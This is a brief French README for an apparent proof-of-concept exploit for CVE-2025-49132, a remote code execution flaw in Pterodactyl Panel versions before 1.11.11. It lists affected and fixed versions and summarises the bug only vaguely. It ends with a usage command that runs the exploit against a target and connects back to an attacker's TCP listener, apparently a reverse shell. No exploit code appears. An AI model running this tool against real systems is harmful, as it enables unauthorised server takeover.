CVE-2025-49132 PoC par Pwndalf

Aperçu

Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-49132, une vulnérabilité d'exécution de code à distance (RCE) affectant Pterodactyl Panel < 1.11.11. Ce PoC a été développé et testé dans un environnement de laboratoire contrôlé à des fins de recherche et d'éducation.

Versions affectées

• Versions de Pterodactyl Panel antérieures à 1.11.11

Version corrigée

• Pterodactyl Panel 1.11.11 et ultérieures

Résumé technique

La vulnérabilité provient d'une validation insuffisante des entrées contrôlées par l'utilisateur dans un gestionnaire de requêtes, ce qui permet une interaction involontaire avec le backend. Dans certaines conditions, cela peut conduire à une exécution de commandes à distance.

Prérequis

• Python 3.8+
• Un écouteur TCP

Utilisation

python3 exploit.py -t <target> -l <listener_ip> -p <listener_port>